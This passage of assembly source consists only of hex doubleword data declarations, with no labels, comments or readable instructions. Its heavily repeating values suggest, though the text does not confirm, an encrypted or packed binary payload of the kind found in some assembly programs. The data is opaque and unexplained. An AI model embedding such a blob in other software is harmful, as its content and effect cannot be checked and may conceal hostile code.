		dd 0B1B0C2E7h, 0F8E1EA07h, 88321576h, 29D2BEEEh, 599CF12Ah
		dd 82125E6Dh, 53DED965h, 0C13DD56Dh, 22321551h,	11399069h
		dd 8521566h, 0C63D53A8h, 22321566h, 117BFC07h, 0E8521566h
		dd 25CB4A37h, 35913FD8h, 1DB7462h, 0ED321566h, 8C71DD44h
		dd 0B61A1E1Ch, 0A8C93BC3h, 0B04E86Ch, 973530E3h, 29DB1061h
		dd 0FE321566h, 0B8D0FAFAh, 216AB220h, 73DBDB27h, 71CDEA98h
		dd 508D1A06h, 99F49400h, 0AF5374F9h, 0F05F4FFBh, 37547561h
		dd 0FF521162h, 6F6C0534h, 7053E5EDh, 883E9369h,	0FB521566h
		dd 4F0048DDh, 90D49400h, 5BCD749Eh, 4BF21E9Eh, 223231E3h
		dd 0B71A66h, 0E8321566h, 4432128Fh, 466D2366h, 0D242A1C7h
		dd 0E9ED9E00h, 44339E69h, 0CBCE1566h, 11321551h, 8CDE969Eh
		dd 0FD1619EFh, 22321562h, 1E6BDF67h, 883209E7h,	1B647566h
		dd 2232068Fh, 88EF4F66h, 5FC421E6h, 43B5011h, 539962BBh
		dd 3D5D28E0h, 88C6FC07h, 0C9CB1566h, 0FC01F2FBh, 8B91A61h
		dd 61321566h, 44321572h, 2D8ADCFh, 134A979Eh, 361B094Ch
		dd 572D36CEh, 1DEFADA4h, 923DC699h, 88321553h, 4432048Fh
		dd 904B2E66h, 0AC6047Ah, 4D82C092h, 8D5483A8h, 97B97733h
		dd 16E11243h, 88321B8Fh, 7BD2D866h, 0FD06729Ch,	283EFCC6h
		dd 61B991F2h, 44323BF0h, 7BF9E9Fh, 7135C661h, 0E9B7F0DCh
		dd 0F1BB7469h, 25E11243h, 0A1C29506h, 0DE53DEECh, 0CE0790D8h
		dd 0A3E4E258h, 344BB090h, 78F49477h, 0C52E913Bh, 9EC32088h
		dd 4FC31482h, 61B3E44Fh, 4C2A35FCh, 0CCE89406h,	711DCD75h
		dd 4B03FEE7h, 0CF5466A0h, 0A55374A8h, 96E4E297h, 0DFC75497h
		dd 0AB5B52D9h, 7DCC3C18h, 0D7B3DB4Fh, 0F6DD7C21h, 443AFC06h
		dd 0C1241566h, 184901DEh, 4DB88888h, 4B96E607h,	223212E4h
		dd 0AE3D7566h, 0E96D4294h
		dd 0BBCED28Fh, 0BFBFE099h, 16ED9A62h, 8832198Fh, 4CB5AF66h
		dd 93BDB122h, 0D46F4C6Dh, 883BFC4Fh, 0EA721566h, 0D3EB10F9h
		dd 0EE968950h, 164ECB5h, 0CFC29C98h, 0E6B13152h, 0AF547562h
		dd 32810068h, 443CFC07h, 878E1566h, 0C1C23CE0h,	0DB9CB904h
		dd 7279543Eh, 3913904Dh, 0F85212B5h, 88321577h,	48FC0E20h
		dd 9BA9DCF2h, 3333CD0Ch, 0B24462Ah, 4426FD70h, 1A651566h
		dd 2A6307C0h, 3462E66Ah, 1EE374D4h, 8353F760h, 5DB98A9h
		dd 78321566h, 0E3E63480h, 0E068C060h, 19EC919Fh, 0E0F3F123h
		dd 1BDE59B3h, 2FB79C07h, 1E35C667h, 883214E3h, 0C1B9EC66h
		dd 25E10E47h, 1CDB7593h, 0E9321566h, 86D4D6D9h,	2762E7EBh
		dd 708C55F2h, 8238F4E7h, 165347D9h, 0E0B3F7EFh,	11321562h
		dd 0F36FFE5h, 0CD6E3172h, 75CB315Ah, 0D6B3F2EFh, 88321562h
		dd 0C336FAE5h, 0AB6E315Ah, 1E523162h, 883215E2h, 898A7366h
		dd 0AFBF7438h, 16ED8498h, 0DD8B7306h, 4277ABFAh, 0DD531624h
		dd 94B9E0B7h, 8FE13BF7h, 4432068Fh, 42DC9766h, 7BD53C21h
		dd 8054E80h, 5D6CC044h,	8CF9B7B7h, 114E630Eh, 0AC369C66h
		dd 443F9069h, 44521566h, 0EDAED2E7h, 88329469h,	11531566h
		dd 0E7B3F0EFh, 11321562h, 8836F8E7h, 68B51566h,	1EBB4942h
		dd 0AE547542h, 99DA3932h, 73321566h, 4699892Dh,	0B47FFA4Bh
		dd 20471EEBh, 32B00346h, 22321F8Fh, 0AE3AFD66h,	82D59CC6h
		dd 1DBF0E3Dh, 3B79E07h,	1E35C67Dh, 88321EE5h, 4434FC66h
		dd 78311566h, 700B2606h, 9D19C35h, 443211A5h, 26D99666h
		dd 4D1609E1h, 0E81611EFh, 44369469h, 98541566h,	905406F1h
		dd 0E9420188h, 0D72098EBh, 0A33D12B9h, 11321567h, 95B11A9Fh
		dd 4B321566h, 223202E7h, 1120FC66h, 0BCC21566h,	0AA48E880h
		dd 8F57792Eh, 6081F7FEh, 71483378h, 14CAC499h, 4196AE35h
		dd 4D1B49FBh, 0D2691142h, 2796D7E7h, 0A13D49FBh, 11321567h
		dd 0C7807D9Fh, 40BB1566h, 6369442h, 64950BE2h, 0CDB943Fh
		dd 0BD47B278h, 0CA3984Dh, 1E5212B5h, 883211E5h,	0A98B7366h
		dd 21B51A06h, 1E321566h, 0B53E3D9h, 972F04DBh, 0A63D1561h
		dd 113215F0h, 9FF69506h, 44321F8Fh, 6AB8C866h, 0F58EB70Eh
		dd 0E9473678h, 564390EDh, 9CA12B5h, 0C22F04E3h,	883BFC61h
		dd 0DEBA1566h, 0D1EC44F9h, 0E918EA6Ch, 0E3DD45Dh, 44321538h
		dd 2238FC06h, 0EC121566h, 26BDEE22h, 0C984460Ah, 22BF1A31h
		dd 4E321566h, 8DB79E07h, 0AD35C66Ch, 2232156Bh,	13CEB23Ch
		dd 5EAF1DE0h, 0F2A86CF5h, 33B71660h, 1E35C67Bh,	883214EEh
		dd 0C1BBE966h, 25E13307h, 11321C8Fh, 8F772866h,	6EFC4449h
		dd 0F2DB55D6h, 1E321567h, 883214E3h, 0C85AED66h, 0AB32151Ah
		dd 953D316Ah, 88321561h, 0C4CAA506h, 7353638Dh,	101621E7h
		dd 34A1E47h, 80B13162h,	3332062h, 77526D6Dh, 8BE0CFE7h
		dd 44321A8Fh, 0EE594E66h, 9FA38192h, 0C2D6EDF4h, 588F16B4h
		dd 0A8894607h, 0E67F042Fh, 0FFC194BDh, 6D80FBD0h, 25DB4EBEh
		dd 2A321566h, 2CFAA8F1h, 13639125h, 2C32C3D9h, 0FEB35A12h
		dd 0A2FD6020h, 88DDD2E7h, 0DBBBC14Dh, 9FD39439h, 93B3053h
		dd 9BCDE4A7h, 7BFA1C90h, 13B81A06h, 0D9321566h,	4435FC3Fh
		dd 0E27A1566h, 0F63D54D2h, 36647406h, 44321567h, 0DA6CE567h
		dd 11299B69h, 61521566h, 44321577h, 1D08C080h, 624580B2h
		dd 0D484E5F9h, 0FE0D7FBh, 0FD8D1A4Fh, 60B79C07h, 7435C674h
		dd 4DEB9067h, 0CB5212B5h, 1132156Fh, 445EF4E3h,	0AC126FE1h
		dd 9E89737Bh, 94F57494h, 8FE10877h, 44321566h, 24B71A06h
		dd 1E321566h, 883215E3h, 0BEFD9566h, 42727F07h,	4BED9E31h
		dd 883EFC07h, 9F7B1566h, 0CD32D667h, 0DCDB86E0h, 885A82C6h
		dd 0B1321576h, 0A3D49C30h, 113211A0h, 8CDC9666h, 181621E1h
		dd 0CB1619EFh, 1132156Dh, 0AA4C3DC3h, 0B5237655h, 48760A98h
		dd 84CDEC66h, 8FE106EBh, 40864406h, 0D8F2943Eh,	7076B69Eh
		dd 0E6C19406h, 0CF0C8FD5h, 0B7CD74A9h, 16E10F57h, 88321B8Fh
		dd 636BF066h, 0E07BE9E2h, 43CAC5A0h, 194E94Dh, 973810E3h
		dd 223DFC61h, 16361566h, 3965DBD2h, 0B7D82885h,	3FEB0CB0h
		dd 70B79C0Ah, 8735C640h, 44321DECh, 20B51A66h, 71321566h
		dd 0AC3E9E07h, 0C5D19C35h, 223211A5h, 15F19666h, 0D41609E1h
		dd 4BF09E06h, 223214ECh, 0EE53EC66h, 5B1474D3h,	45B91A61h
		dd 0DA321566h, 3FA3A099h, 25212B5h, 0CD62748Dh,	22361086h
		dd 0F9B11566h, 0AC369262h, 600E9C3Ah, 22359C69h, 993D1566h
		dd 88321567h, 6587EA93h, 2D35C67Dh, 113205EEh, 8839FC66h
		dd 0A07A1566h, 0D9FA5FBCh, 12A1825h, 98B79826h,	2435CACAh
		dd 28DBD3EDh, 2A321566h, 0BDA14796h, 17FA07A1h,	0F2CD7494h
		dd 0C78D1A06h, 99BF1407h, 4B35C67Bh, 22320DE4h,	1121FC66h
		dd 28D61566h, 0A66C6922h, 0FB1B84EFh, 0D4AC85ABh, 3424178Ah
		dd 258F9EFEh, 2D35C640h, 113214EAh, 3C7E966h, 971C84D3h
		dd 86C1ED61h, 64879E9Eh, 7435C666h, 0C43D75CBh,	22321563h
		dd 56AC24DFh, 0CD06AB7Dh, 2C532D7Dh, 223268BEh,	0A91611EFh
		dd 88321566h, 1CCE53EFh, 22269969h, 1EDB1566h, 96321566h
		dd 0E146792Fh, 233123A8h, 518D7D3Dh, 73D5195h, 4432156Eh
		dd 22309469h, 70521566h, 6137D5A7h, 4432156Dh, 0DC6CB518h
		dd 0B71CC308h, 741954DEh, 608D4237h, 0AB6CB108h, 0D8B34A9Fh
		dd 0C3C14C2Dh, 73B1E4E7h, 0FBC54CFFh, 9035FCA7h, 7F6821A7h
		dd 5BF39450h, 23F55B91h, 12CA4CAEh, 5B3D38E3h, 4420FC61h
		dd 7B831566h, 0A4B903EDh, 78F5E677h, 9A15D6E8h,	8601E8AFh
		dd 375398EDh, 0F3D12B5h, 4432157Dh, 22279B69h, 1DB1566h
		dd 0E4321566h, 97BC468h, 1609CCA9h, 33F60125h, 0DA4B3C97h
		dd 443215DCh, 0ABF01466h, 35269E6Ch, 8836D1E7h,	49DB1566h
		dd 39321566h, 3DF205FEh, 6C1719D3h, 0E09321C7h,	0A28975CBh
		dd 0A557A5A6h, 3062749Bh, 0BBCDEA9Ah, 22F5E567h, 11321566h
		dd 91611EDh, 443211A2h,	2DDB7566h, 0D4321566h, 4716C0D6h
		dd 3A93DB30h, 52548A1Fh, 9853A7C3h, 5B3260D3h, 4435FC61h
		dd 2F481566h, 63BBF00Fh, 77CA9603h, 44979069h, 42C71566h
		dd 1132058Fh, 23C3C166h, 0D593DEBDh, 0A0419917h, 14B49C97h
		dd 0B6B3746Ch, 99EFC8BBh, 22B39069h, 1BDB1566h,	0A8321566h
		dd 8C8A326Bh, 3E56793Fh, 15DE9665h, 351639EFh, 16936E72h
		dd 0BDEF0E7h, 0FCB345A4h, 0D8B23C62h, 246F3BEFh, 26B11A9Fh
		dd 77321566h, 0E961C9D8h, 0E48A4531h, 9D63EA1Fh, 40CD6CC2h
		dd 896AD24Fh, 0F4524A98h, 29DB75E4h, 0AA321566h, 0A1F1AD6Eh
		dd 0A3049F0Dh, 0FAB3F5B7h, 4CEE227Eh, 3DBB7407h, 43E11513h
		dd 94F59E06h, 54DB7403h, 0E8CDEAB5h, 44309469h,	17831566h
		dd 0D053AED6h, 9CDB16A6h, 0F5321566h, 0B00F0ECDh, 0C77AFDA3h
		dd 1668EC36h, 78A4A189h, 21DC0B4Fh, 0C23D38E3h,	89BB1A61h
		dd 0BD321566h, 9A4DA606h, 7FF287B7h, 0AD8F9607h, 4535C647h
		dd 21F69169h, 1E521566h, 883217EAh, 126B4566h, 2232188Fh
		dd 2BAEB966h, 9E5FA776h, 0BAA0F953h, 436D9F5Ch,	0BB982BE7h
		dd 0D3DBFCCh, 443215CCh, 0FA8D1A06h, 70FBAA69h,	8763E006h
		dd 256AC2D9h, 2236AF34h, 0C7331566h, 91601EDh, 443211A2h
		dd 2DDB7566h, 8E321566h, 0D1D608C7h, 1130B066h,	2B7E758Bh
		dd 415301FFh, 0D04EE6DEh
		dd 0A0C9101Bh, 64BBBE62h, 67B34D9Ah, 0D553FB9Ah, 2252754Eh
		dd 0B89DCBE7h, 70F49E00h, 0D1F99E35h, 0CF654507h, 0E6B13162h
		dd 1DB4A62h, 0CE321566h, 5E9BF4DEh, 2E86C831h, 0EF33497Ch
		dd 0DAC12AC9h, 0F6A7A235h, 79C8251Ah, 0F868C5EEh, 8832156Bh
		dd 3754BFDh, 417862C0h,	0E0E123F8h, 8858FC8Eh, 0CD3D1566h
		dd 22321560h, 9AC99E06h, 0E062749Fh, 44324850h,	7A1629EFh
		dd 113CFC39h, 0A6791566h, 0A26CCD67h, 0AEC44E91h, 0D7CA4108h
		dd 136F9E5h, 0AC83316Ah, 2D6BDDEEh, 11321AEFh, 8838FC66h
		dd 6C9F1566h, 23F4E050h, 0B379A866h, 883BFD06h,	21EE1566h
		dd 0D15DDFBBh, 90F67AA3h, 8C0BA58Dh, 0C83D4E1Ch, 22321565h
		dd 70EC9E00h, 9D19C35h,	443211A5h, 26D99466h, 96321566h
		dd 16E317Ah, 0C93D3162h, 2232156Fh, 7761A506h, 52C8DCE7h
		dd 0A58F9607h, 2335C67Dh, 107A9169h, 0D9CE1566h, 51727D31h
		dd 0A36D464Bh, 0B4645681h, 21DD9477h, 0C5001068h, 2368291h
		dd 4ECB9CB9h, 716BDDEFh, 0AEC4A8E5h, 2D321286h,	113229E2h
		dd 81B71A66h, 24321566h, 0A3544A31h, 7003D495h,	493788EBh
		dd 225212B9h, 0CB0598D9h, 11321576h, 45C0CD13h,	58028D5Dh
		dd 7304C949h, 493E2771h, 0E8E1EA07h, 91D09531h,	0E4851A3Eh
		dd 810D9507h, 886B9169h, 0CA3D1566h, 22321574h,	113E9169h
		dd 8FDB1566h, 5F321566h, 73FA35FCh, 0AA6140D7h,	88321563h
		dd 58B9CA67h, 26F69442h, 1E321566h, 883219E2h, 42B71A66h
		dd 2D321566h, 113215ECh, 23DBE066h, 4B321567h, 223204E2h
		dd 113EFC66h, 0ABF41566h, 257C023Bh, 0CF89B473h, 92CE9D10h
		dd 0A3D459Eh, 44321514h, 22321A8Fh, 98F8EA66h, 847873AFh
		dd 9B940A36h, 0B35BE404h, 42A2A437h, 50BADEEEh,	4B524C3Dh
		dd 22321AE4h, 1138FC66h, 6A531566h, 22FAFA44h, 463A23Dh
		dd 27D59400h, 0E89874B5h, 0C4F89E00h, 0A9531F83h, 98603162h
		dd 8CF09484h, 0C7321566h, 36B511A4h, 0BBCA4942h, 0D0654606h
		dd 0AD53ED3Ch, 22321586h, 113A9369h, 53D1566h, 44321564h
		dd 26B97406h, 0F2BB4642h, 8836D6E7h, 87B31566h,	22321562h
		dd 4D1609E1h, 8832078Fh, 41CBD066h, 828397D5h, 0AF6121ADh
		dd 0C3D2CC74h, 0EE86D2C1h, 0D58D1A06h, 0FCB87DFh, 7D527438h
		dd 0BB4D9507h, 0AFB71A8Fh, 1E321566h, 88321EE2h, 0FF547566h
		dd 0EB883CC7h, 700041DDh, 62C4A8E5h, 4B321286h,	223276E2h
		dd 1121FC66h, 60611566h, 359825B0h, 0A50CBA11h,	914E132Ah
		dd 9361AA97h, 3B8B7563h, 2D5A0E44h, 9C53D4D9h, 57F212FBh
		dd 0C53D7561h, 22321563h, 8AF89400h, 99BB1A09h,	0AC321566h
		dd 2232156Dh, 0F49D5147h, 4F39B2D9h, 1CB2FF7Eh,	2AB81A07h
		dd 1E321566h, 883217E8h, 0BB537566h, 23B01AB5h,	0E9321566h
		dd 0D8F49D34h, 3BAE5EEh, 0DE684D62h, 375390EDh,	33D12B5h
		dd 44321560h, 88B7306h,	0AC6774EBh, 9A5B7703h, 100DE0E7h
		dd 0CA336C50h, 3CCA3C3Bh, 0E36D233Ch, 4432108Fh, 1FEB6C66h
		dd 0AF64EE3Eh, 88321562h, 70B9E54Fh, 26F69442h,	0E9321566h
		dd 879FE0CDh, 443214E3h, 9A62ED66h, 11321566h, 1F39C37h
		dd 1C6BE928h, 0D913FC93h, 1E52EA99h, 373DD6D9h,	0F1BB74BFh
		dd 25E11513h, 1132128Fh, 9B5A0A66h, 7AAF3513h, 21B91A06h
		dd 1E321566h, 73DEAD9h,	44321565h, 4348FAE6h, 11101C0Eh
		dd 0AC269C66h, 0C53D4206h, 22321566h, 0DDF6953Eh, 8327D07h
		dd 55DB1566h, 0CA321566h, 27C1DF0Fh, 9ED62138h,	67523FB8h
		dd 50226FB1h, 9052150Ch, 12A0C8Fh, 0C5CB754Ah, 72BD5E90h
		dd 0EE53745Ch, 5B0038D3h, 8FB97561h, 22321C8Fh,	6A41A666h
		dd 2992B238h, 0BB536BBEh, 0F11950F3h, 1134FC61h, 4F231566h
		dd 0A3ED4428h, 78162199h, 1136D1E7h, 53D1566h, 4432156Dh
		dd 38A7306h, 0DB5BAD24h, 875361A5h, 44321DEBh, 20BB1A66h
		dd 71321566h, 0D1BF9E07h, 0AD35C665h, 22321563h, 607DE67Fh
		dd 0E062ED04h, 5A676D4Eh, 0A5EA103Eh, 10BBF4CCh, 0B1611EDh
		dd 12C711A2h, 223211D8h, 9AC31466h, 4CB33152h, 44321562h
		dd 20BF1A06h, 0A1321566h, 8820FDFCh, 80FA1566h,	5CE4EB70h
		dd 0DC26DFA6h, 0A18CAD7Bh, 99EDD23Eh, 7CC5AA69h, 48BF9C07h
		dd 7435C665h, 0BBF4C18Fh, 2235FC99h, 2AD91566h,	3DAAB368h
		dd 6FB6FC66h, 0A53D1566h, 11321562h, 0E9537506h, 443BFC06h
		dd 51A1566h, 47DE6C0Bh,	31A793Bh, 97314CEBh, 13CDED61h
		dd 871621E7h, 0D1451470h, 6C2DAA31h, 0CDF325C0h, 5E755A6Eh
		dd 7A3FAE7h, 0BD039C49h, 223DFC39h, 0CF021566h,	1530887Ah
		dd 0E6E41FBEh, 0F3EFF78Ch, 0E3BF9CD8h, 8735F58Ch, 44321CEBh
		dd 0A3547566h, 9A873086h, 0B0B3749Eh, 8764128h,	22A99069h
		dd 9C3D1566h, 88321567h, 3CB37393h, 2D1C5962h, 11329DE3h
		dd 962ED66h, 21FA3152h,	16B9090Dh, 15F69442h, 9321566h
		dd 2F57DD90h, 7467ED7Ah, 0F2280D8h, 8FD4D463h, 3FD49420h
		dd 0D5235905h, 0E8C494B8h, 1CCE2DBh, 0AA334B93h, 0C5B3753Bh
		dd 12B46432h, 8832058Fh, 0CAA0C966h, 0AE6D5B2Bh, 0C619BE07h
		dd 33961534h, 0C1B974E0h, 25E117EBh, 1FDA4606h,	33321566h
		dd 83E4BC93h, 0A4FF0A1Bh, 280007E7h, 0EE684B24h, 0AD53E6EDh
		dd 2232136Eh, 11321D8Fh, 0E684466h, 7A34FB76h, 16B9457Eh
		dd 15F69642h, 50B97306h, 1465749Eh, 7DC89C39h, 0CAB37306h
		dd 53D394Ch, 4432156Bh,	22321D8Fh, 240CF866h, 3779CD62h
		dd 8D03746Bh, 36DBB99Eh, 0F0321566h, 1052ECC0h,	0F92C4339h
		dd 0F5B807AFh, 6547EAFDh, 0B4B4682Ah, 0FAB61A66h, 42321567h
		dd 91E3AA69h, 0B4533C8Ah, 8AB61A4Bh, 42CDEA99h,	1137FC9Fh
		dd 0A7471566h, 2559B239h, 223D9D69h, 1BDB1566h,	0E0321566h
		dd 0AE62441Fh, 5B52F5EEh, 1E1C29FFh, 883312E2h,	4438FC66h
		dd 0D7A91566h, 4588F7EFh, 25BBDB2h, 0C63D255Ah,	223210BBh
		dd 1132018Fh, 97032F66h, 0CD8F4B37h, 5FE7EE5Ch,	0D37C73F3h
		dd 0EBBB4183h, 4B0B29C1h, 0DDCD79E0h, 0CEB97599h, 88269D69h
		dd 4ADA1566h, 8F321566h, 56169852h, 65288A1Bh, 64A95FF9h
		dd 0D7534A25h, 933D545Ah, 883210F3h, 4EDA7506h,	0F2321566h
		dd 0FD037C37h, 76578AA8h, 9CB94A4Dh, 780E7407h,	0EE159369h
		dd 23DEA99h, 44321573h,	2232058Fh, 36218766h, 0D080E808h
		dd 0A3E033E0h, 893A816Bh, 1E6D2906h, 77CD11E2h,	1F617599h
		dd 43E2D3E6h, 933D745Ah, 88321023h, 44321A8Fh, 30E79B66h
		dd 41849958h, 82F1967Fh, 0EC64F49h, 0A43D6F5Ah,	0EECDEBBFh
		dd 8832198Fh, 0CC0A0C66h, 8BBAECD8h, 534E3DA5h,	8D21FC8Bh
		dd 0AC521566h, 2232156Bh, 0AF73A05Dh, 84EE7816h, 22DE7C44h
		dd 223BFC11h, 0C7FD1566h, 0AC2951FBh, 1CD12563h, 43EECBE6h
		dd 3536EA34h, 91601EDh,	443211A2h, 2ABD1A66h, 1E321566h
		dd 883217E5h, 7D537566h, 0E8B61A94h, 0F8321562h, 8832156Ch
		dd 0D1089EEBh, 17CCF29Bh, 0AC6738A2h, 77CDEA99h, 246FFF67h
		dd 0A674DCDEh, 0E953E90Ah, 9DB3AF34h, 0A6F31A82h, 93D09462h
		dd 0C0123407h, 81C0948Ch, 452215C6h, 0A3524FB7h, 0C4E9EBADh
		dd 883EFC67h, 93D1566h,	5E03CCA3h, 8D331F53h, 6153881Fh
		dd 0BBCDEB47h, 2DFB909Eh, 11367DE2h, 8826FC66h,	5CFC1566h
		dd 364BD7Dh, 0D5D3882h,	4F30FA5Ah, 45333C8Fh, 97BFEFCFh
		dd 16E10D27h, 88321B8Fh
		dd 3C8E6366h, 34C9184Ah, 6573DE5Dh, 0DA5C485Eh,	27F5AA31h
		dd 5E1B54CCh, 486D1142h, 0EBF5D4E7h, 16CE54CCh,	0A11629EDh
		dd 0F85211A2h, 8832156Eh, 0FCAB7086h, 0B65A5F9Ch, 9E30AC00h
		dd 8FB51A07h, 4B321566h, 223214E7h, 982E966h, 68F2D598h
		dd 0F5637360h, 44FA1D0Dh, 0E735393Fh, 875C39BEh, 443214EBh
		dd 579CEC66h, 9C3D759Bh, 88321564h, 0AD53D2EDh,	2232156Bh
		dd 9DC7C1B9h, 1DBD5DD1h, 46F73996h, 3CB81A53h, 1E321566h
		dd 88320DE9h, 4421FC66h, 672C1566h, 85D4E8DCh, 4F8B7B4Dh
		dd 67E1FD00h, 79AB5BEh,	9DF394AEh, 979D320h, 4866538Fh
		dd 0A3CB3C48h, 1D6653A7h, 4DB9448h, 4B79D320h, 22321CE5h
		dd 90547566h, 3F5DFB6h,	50DB74A4h, 2D321566h, 4FD9A2C3h
		dd 7A2F1AB1h, 36DDF926h, 3A4B63Dh, 7992DFC2h, 88321566h
		dd 0CF16194Fh, 0E6B1316Ah, 14B61A62h, 0E8321566h, 2561A19Ah
		dd 2455FAE7h, 0DE1B63E8h, 8E55AC37h, 8B3363E8h,	2EB81A3Fh
		dd 1E321566h, 883213EBh, 44B01A66h, 75321566h, 25B94A30h
		dd 8CF69442h, 24321566h, 22321B8Fh, 5EDC5E66h, 0AF7309A4h
		dd 7866979Ah, 4446D281h, 93DBE2E7h, 0E896E607h,	1668E2E7h
		dd 12826D4Ch, 15DE9407h, 1321566h, 8381317Ah, 0E5CD52A0h
		dd 4ACD4A4Eh, 8832058Fh, 7E043266h, 52DA8874h, 0FC9514B1h
		dd 0E5539CCh, 5A798BDh,	2D35C67Eh, 113202E5h, 8820FC66h
		dd 0AE31566h, 9FF48C9Dh, 0A902A187h, 0AF0B043Dh, 2C7E0442h
		dd 1C390EDh, 17DB12B5h,	44321566h, 7A51BF2Ch, 2DF290B5h
		dd 113280E3h, 8FB21A66h, 4B321566h, 223214EAh, 94F4ED66h
		dd 8FE10DB7h, 4420FC21h, 9E0A1566h, 1A88963Ch, 1B044B8Eh
		dd 0F20112BFh, 76733ECBh, 8B95C70Eh, 883AFCB2h,	11B31566h
		dd 5430990Ch, 0A4CD5BF1h, 8FE11897h, 588D7306h,	0A23D753Ah
		dd 11321566h, 0DBF7407h, 43EE160Ch, 22279D69h, 1DB1566h
		dd 0DD321566h, 0EC5CED4Ah, 0FF327455h, 5C0806D1h, 874E4124h
		dd 44321DE0h, 9A547566h, 4E605AA8h, 61E2EA07h, 44321568h
		dd 5D8BCF7h, 0EFC811F9h, 2BD1BAB4h, 365A3578h, 0AB321531h
		dd 0ED523172h, 0E996C8E6h, 2452C599h, 44539CD3h, 704D70D9h
		dd 0D3DD5E3h, 4432142Ah, 73B79E93h, 1E35C652h, 883201E1h
		dd 4AB11A66h, 0CB321566h, 1132156Fh, 8F951EA1h,	5AB1CB87h
		dd 2DF29066h, 1132BDE3h, 87527566h, 4B53E4D1h, 223216EDh
		dd 0CEB97366h, 59B7D307h, 835C67Eh, 223A9769h, 913D1566h
		dd 88321564h, 0AC527406h, 22321572h, 0F0DF69AFh, 3FC8FA22h
		dd 2098C0B0h, 0BF245024h, 92541562h, 0D0F89E00h, 25F2A269h
		dd 0F82EFC0Eh, 1123FCBFh, 0C7F1566h, 799E7284h,	0ED6C86EBh
		dd 0AF350B06h, 778BDB98h, 973FE4D3h, 23BB1A61h,	0ED321566h
		dd 8B5890EBh, 245212BAh, 6B9C34DEh, 11BE1A7Fh, 0E9321566h
		dd 44309769h, 0D9B91566h, 0C1CDED07h, 8832068Fh, 0BAEFE466h
		dd 804CBD35h, 6FFBE4A4h, 20D94CB7h, 0E65EFA20h,	0C5BB4293h
		dd 1136D2E7h, 67B11566h, 600E9262h, 6269C3Ah, 0D3B97306h
		dd 88209669h, 49DB1566h, 21321566h, 0E5BBCA35h,	0ABC8D6D5h
		dd 0DA7FB17h, 2DE2EA07h, 11320EE2h, 7BB97566h, 4432048Eh
		dd 66684A66h, 0FE1A6908h, 619A4178h, 0A842A222h, 43694999h
		dd 943DD5E3h, 88321546h, 44219A69h, 0A43D1566h,	1132156Bh
		dd 88321D8Fh, 13341C66h, 3B38A85Fh, 11B5FCC3h, 74CB1566h
		dd 0AEC090EFh, 0A9521286h, 113AFCB7h, 2D7C1566h, 7C64C26h
		dd 71532A32h, 0D2B3F6EFh, 88321562h, 4436FEE7h,	3EB51566h
		dd 15BB4942h, 8834FC42h, 0DAC31566h, 33D2CA12h,	90D09C34h
		dd 883211A4h, 40D89466h, 0A5321566h, 986E3172h,	5CA3152h
		dd 981468E3h, 0F2CDEC61h, 11321D8Fh, 0E24A8F66h, 0F6C7CF77h
		dd 2DF21E26h, 113206E3h, 89B61A66h, 0B8321566h,	2232198Fh
		dd 9A547566h, 0E9E39FB9h, 581651EFh, 0CB527493h, 1132156Ah
		dd 0BB77343Fh, 0CBCD80EAh, 56CF8584h, 62E59400h, 7DF1746Dh
		dd 4DB81A06h, 42321566h, 11BE1A93h, 0E9321566h,	0AEC098EDh
		dd 4AC71286h, 11322BF7h, 611611EFh, 44321563h, 60CD27B6h
		dd 9A63E978h, 4CB33162h, 44321562h, 2232058Fh, 28E73A66h
		dd 193C39C5h, 0F8A17EC6h, 57345281h, 2D894623h,	89321566h
		dd 0CF3116A5h, 0E6B1317Ah, 0AA61EC62h, 883215EEh, 12B3D6E7h
		dd 0E1334490h, 47B3FEE7h, 9BB94490h, 45B91A3Dh,	0D7321566h
		dd 0A8A79C93h, 0E835C654h, 44349B69h, 0A93D1566h, 11321566h
		dd 0BFACC6E7h, 4B532E3Ch, 223204EFh, 113EFC66h,	41F31566h
		dd 0EE048248h, 7A114621h, 0A8637297h, 0FF3E71ADh, 212BDCE7h
		dd 0CBE32A2Bh, 2BE1D4E7h, 36644DBDh, 6B5849A9h,	0A36CE447h
		dd 0AD710C97h, 69DB9406h, 455AA968h, 0AA3D4CAEh, 11321567h
		dd 8489469Eh, 45321566h, 228B44A5h, 10321566h, 0D1239EBFh
		dd 4434FC3Dh, 83A31566h, 4EC72C39h, 9E9F80EFh, 4DDB12B5h
		dd 1D321566h, 0A0AC3178h, 0FF07D602h, 4432198Fh, 90D9AE66h
		dd 0B5BE21C0h, 636F1A71h, 60369EAAh, 0A3D59C31h, 113211A1h
		dd 8CF59666h, 181629E1h, 22321E8Fh, 0A98C2C66h,	83A0C6CFh
		dd 171EA3E6h, 2232128Fh, 9FA3466h, 0F570F963h, 60166199h
		dd 0A11611EDh, 1DB11A2h, 0A321566h, 1D9EB6DFh, 0B4B45D5Eh
		dd 0C5993988h, 0A5D38457h, 48EC44DAh, 9961DD4Fh, 6ACD3DA4h
		dd 63B3C691h, 331090E7h, 2D69CD67h, 11321FE7h, 3547566h
		dd 0E28AEA1h, 19532F01h, 0C224B8E3h, 0C5B01A61h, 24321566h
		dd 0A352EEEDh, 0E4EA7F85h, 0E96A4369h, 0FDB72E07h, 2D35C654h
		dd 113226E5h, 883DFC66h, 0AC781566h, 0A158A701h, 10D2FA6Ch
		dd 0A8C87BFCh, 42DB740Eh, 0E7321566h, 2DB714A3h, 8836D7C0h
		dd 44321E8Fh, 3B699566h, 5713FDD2h, 72689A0h, 4CB41A07h
		dd 2D321566h, 113217E7h, 0E0537566h, 44327677h,	9F1639EFh
		dd 11321566h, 8C1679EFh, 50B61A3Bh, 0CB321566h,	11321569h
		dd 73BADE12h, 0D6392165h, 0AA6EC655h, 0D6480E34h, 20363122h
		dd 1361F32Ah, 7E7456D9h, 354E1C5Dh, 0ECF34A6Eh,	0C5361142h
		dd 67363112h, 0E64EA61Eh, 77363132h, 0C5363122h, 29363112h
		dd 0F80EBD0Fh, 8832156Ah, 28CB0F75h, 24BB6462h,	9856D2B1h
		dd 8E4FAF34h, 0A6F340AEh, 3F894665h, 1063AAAAh,	58BB4EBCh
		dd 0FB3D753Ch, 0AF53ECBCh, 0C27FA4EBh, 69CDE061h, 42BF1A06h
		dd 2D321566h, 113215EBh, 0E9F6A566h, 4434FC06h,	4CF01566h
		dd 0B8CCE694h, 8832AC37h, 0B5331566h, 2EB914ECh, 15F69642h
		dd 88239969h, 48DB1566h, 0E5321566h, 7F739022h,	3E214691h
		dd 7833932Bh, 0A2B61A8Fh, 1E321567h, 883219EFh,	42B41A66h
		dd 2D321566h, 113215E9h, 87DA2966h, 44338DE2h, 0EC8B7566h
		dd 902DDE63h, 69ABB8ACh, 4B0E743Bh, 22749169h, 2DCE1566h
